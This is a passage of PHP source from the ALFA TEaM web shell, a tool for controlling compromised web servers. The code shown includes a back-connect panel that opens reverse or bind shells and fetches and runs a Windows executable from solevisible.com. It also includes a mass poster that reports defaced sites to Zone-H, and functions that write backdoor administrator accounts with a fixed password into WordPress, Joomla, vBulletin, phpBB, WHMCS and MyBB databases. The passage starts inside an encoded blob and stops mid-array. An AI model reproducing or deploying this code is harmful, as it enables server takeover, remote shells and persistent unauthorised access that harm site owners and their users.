r2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Back Connect |</div><br><br>";\r\necho "<form onSubmit=\\"g(\'connect\',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\\">\r\n<div class=\\"txtfont\\">Mehtod:</div> <select name=\'cbmethod\' onChange=\'ctlbc(this);\' style=\'width:120px;\'><option value=\'back\'>Reverse Shell</option><option value=\'bind\'>Bind Port</option></select> <div class=\\"txtfont\\">Use:</div> <select name=\'selectCb\'>";\r\n$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");\r\nforeach($cbArr as $key=>$val){echo("<option value=\'{$key}\' ".($GLOBALS[\'sys\']==\'win\'?\'selected\':\'\').">{$val}</option>");}\r\necho "</select> <div id=\'bcipAction\' style=\'display:inline-block;\'><div class=\\"txtfont\\">IP:</div> <input type=\'text\' style=\'text-align:center;\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'></div> <div class=\\"txtfont\\">Port: </div> <input type=\'text\' size=\'5\' style=\'text-align:center;\' name=\'port\' value=\'2012\'> <input type=\'submit\' value=\' \'></form><p><div id=\'bcStatus\'><small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small></div></p></center></b></font><br>";\r\nif(isset($_POST[\'alfa1\'])&&!empty($_POST[\'alfa1\'])){\r\n$lang = $_POST[\'alfa1\'];\r\n$ip = $_POST[\'alfa2\'];\r\n$port = $_POST[\'alfa3\'];\r\n$arg = ($_POST[\'alfa4\']==\'bind\'?$port:$port.\' \'.$ip);\r\n$tmpdir = ALFA_TEMPDIR;\r\n$name = $tmpdir.\'/\'.$lang.uniqid().rand(1,99999);\r\n$allow = array(\'perl\',\'ruby\',\'python\',\'node\');\r\neval(\'$lan=$\'.$lang.\';\');\r\nif(in_array($lang,$allow)){\r\nif(__write_file($name,__get_resource($lan))){\r\nif(_alfa_can_runCommand(true,true)){\r\n$os = ($GLOBALS[\'sys\']!=\'win\')?\'1>/dev/null 2>&1 &\':\'\';\r\n$out = alfaEx("$lang $name $arg $os");\r\nif($out==\'\'){$out="<font color=\'green\'><center>[ Finished...! ]</center></font>";}\r\necho("<pre class=\'ml1\' style=\'margin-top:5px\'>{$out}</pre>");\r\n}\r\n}else{\r\necho("<pre class=ml1 style=\'margin-top:5px\'><font color=\'red\'><center>[ Failed...! ]</center></font></pre>");\r\n}\r\n}\r\nif($lang==\'java\'||$lang==\'c\'){\r\n$code = __get_resource($lan);\r\n$out = nl2br(bcinit($lang, $code,\'\',\'\'));\r\necho("<pre class=ml1 style=\'margin-top:5px\'><center>{$out}</center></pre>");\r\n}\r\nif($lang==\'bcwin\'){\r\n$alfa = new AlfaCURL();\r\n$s = $alfa->Send(\'http://solevisible.com/bc/windows.exe\');\r\n$tmpdir = ALFA_TEMPDIR;\r\n$f = @fopen($tmpdir.\'/bcwin.exe\',\'w+\');\r\n@fwrite($f, $s);\r\n@fclose($f);\r\n$out = alfaEx($tmpdir."/bcwin.exe ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']);\r\n}\r\nif($lang==\'php\'){\r\necho "<pre class=ml1 style=\'margin-top:5px\'>";\r\n$code = __get_resource($lan);\r\nif($code!==false){\r\n$code = "\\$target = \\"".$arg."\\";\\n".$code;\r\neval($code);\r\necho("<center><font color=\'green\'>[ Finished...! ]</font></center>");\r\n}\r\necho "</pre>";\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfazoneh(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nif(!function_exists(\'curl_version\')){\r\necho "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";\r\n}\r\n$hackmode = array(\'known vulnerability (i.e. unpatched system)\',\'undisclosed (new) vulnerability\',\'configuration / admin. mistake\',\'brute force attack\',\'social engineering\',\'Web Server intrusion\',\'Web Server external module intrusion\',\'Mail Server intrusion\',\'FTP Server intrusion\',\'SSH Server intrusion\',\'Telnet Server intrusion\',\'RPC Server intrusion\',\'Shares misconfiguration\',\'Other Server intrusion\',\'SQL Injection\',\'URL Poisoning\',\'File Inclusion\',\'Other Web Application bug\',\'Remote administrative panel access bruteforcing\',\'Remote administrative panel access password guessing\',\'Remote administrative panel access social engineering\',\'Attack against administrator(password stealing/sniffing)\',\'Access credentials through Man In the Middle attack\',\'Remote service password guessing\',\'Remote service password bruteforce\',\'Rerouting after attacking the Firewall\',\'Rerouting after attacking the Router\',\'DNS attack through social engineering\',\'DNS attack through cache poisoning\',\'Not available\',\'Cross-Site Scripting\');\r\n$reason = array(\'Heh...just for fun!\',\'Revenge against that website\',\'Political reasons\',\'As a challenge\',\'I just want to be the best defacer\',\'Patriotism\',\'Not available\');\r\necho \'\r\n<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>\r\n<form action="" method="post" onsubmit="g(\\\'zoneh\\\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\\\'>>\\\'); return false;">\r\n<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />\r\n<br>\r\n<select id="text" name="hackmode" style="width:400px;">\';\r\n$x=1;\r\nforeach($hackmode as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\r\necho \'</select><br><select id="text" name="reason" style="width:200px;">\';\r\n$x=1;\r\nforeach($reason as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\r\necho \'</select><br>\r\n<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>\r\n<p><input type="submit" value=" " name="go" /></p>\r\n</form></center>\';\r\nif($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'>>\'){\r\nob_start();\r\n$hacker = $_POST[\'alfa1\'];\r\n$method = $_POST[\'alfa2\'];\r\n$neden = $_POST[\'alfa3\'];\r\n$site = $_POST[\'alfa4\'];\r\nif(empty($hacker)){\r\ndie (__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");\r\n}elseif($method == "------------------------------------SELECT-------------------------------------"){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");\r\n}elseif($neden == "------------------------------------SELECT-------------------------------------"){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");\r\n}elseif(empty($site)){\r\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");\r\n}\r\n$i = 0;\r\n$sites = explode("\\n", $site);\r\n$alfa = new AlfaCURL();\r\nwhile($i < count($sites)){\r\nif(substr($sites[$i], 0, 4) != "http"){\r\n$sites[$i] = "http://".$sites[$i];\r\n}\r\n$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);\r\n++$i;\r\n}\r\necho __pre()."<center><font color =\\"#00A220\\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfapwchanger(){\r\nalfahead();\r\n\r\necho \'<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>\r\n<center><h3>\';\r\n$vals = array(\'WordPress\' => array(\'wp\',2),\'Joomla\' => array(\'joomla\',3),\'vBulletin\' => array(\'vb\',5),\'phpBB\' => array(\'phpbb\',6),\'WHMCS\' => array(\'whmcs\',7),\'MyBB\' => array(\'mybb\',8),\'Php Nuke\' => array(\'nuke\',9),\'Drupal\' => array(\'drupal\',10),\'SMF\' => array(\'smf\',11));\r\nAlfa_Create_A_Tag(\'pwchanger\',$vals);\r\necho \'</h3></center>\';\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'wp\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| WordPress |</div>\r\n<p>\'.getConfigHtml(\'wp\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'wp\\\',\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\',\'id\'=>\'db_host\', \'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'wp_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'kh\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form>\';\r\nif ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa3\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'$SQL\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = @mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = @mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'ID\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'first_name\',\'solevisible\'),(null,\'".$res."\',\'last_name\',\'solevisible\'),(null,\'".$res."\',\'nickname\',\'solevisible\'),(null,\'".$res."\',\'description\',\'solevisible\'),(null,\'".$res."\',\'rich_editing\',\'true\'),(null,\'".$res."\',\'comment_shortcuts\',\'false\'),(null,\'".$res."\',\'admin_color\',\'fresh\'),(null,\'".$res."\',\'use_ssl\',\'0\'),(null,\'".$res."\',\'show_admin_bar_front\',\'true\'),(null,\'".$res."\',\'".$prefix."capabilities\',\'a:1:{s:13:\\"administrator\\";b:1;}\'),(null,\'".$res."\',\'".$prefix."user_level\',\'10\'),(null,\'".$res."\',\'show_welcome_panel\',\'1\'),(null,\'".$res."\',\'".$prefix."dashboard_quick_press_last_post_id\',\'3\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'joomla\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| Joomla |</div><p><p>\'.getConfigHtml(\'joomla\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',\\\'joomla\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'jos_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa3\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,\'Super User\',\'".$admin."\',\'".$SQL."\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole =@mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis =@mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'id\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES (\'".$res."\', \'8\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif($_POST[\'alfa4\'] && $_POST[\'alfa4\'] == \'vb\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| vBulletin |<div><p>\'.getConfigHtml(\'vb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,\\\'vb\\\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());\r\n$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = \'{$prefix}user\' and column_name = \'password\' and table_schema = \'{$database}\'");\r\n$pw_col = @mysqli_num_rows($pw_col);\r\n$adm_perm = "16744444";\r\nif($pw_col > 0){\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,\'6\',\'$admin\',\'52e28b78f55641cd4618ad1a20f5fd5c\',\'Xw|IbGLhTQA-AwApVv>61y^(z]*<QN\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\')") or die(mysqli_error($conn));\r\n}else{\r\n$adm_perm = "2143256444";\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,\'6\',\'$admin\',\'\\$2y\\$10\\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq\',\'Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\',\'blowfish:10\',\'1984-05-20\')") or die(mysqli_error($conn));\r\n}\r\n$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'userid\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values(\'".$res."\',\'".$adm_perm."\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa5\']) && $_POST[\'alfa5\'] == \'phpbb\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| phpBB |</div><p><p>\'.getConfigHtml(\'phpbb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,\\\'phpbb\\\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5(\'solevisible\');\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE user_type = 3") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE user_type = 3") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email =\'".$SQL."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');\r\n}\r\n}\r\n}\r\nif(isset($_POST[\'alfa6\']) && $_POST[\'alfa6\'] == \'whmcs\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Whmcs |</div><p><p>\'.getConfigHtml(\'whmcs\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,\\\'whmcs\\\',null,this.admin.value,this.email.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,\'1\',\'".$admin."\',\'d4a590caacc0be55ef286e40a945ea45\',\'".$SQL."\',\'blend\',\'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa7\']) && $_POST[\'alfa7\'] == \'mybb\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Mybb |</div><p><p>\'.getConfigHtml(\'mybb\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\\\'mybb\\\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', 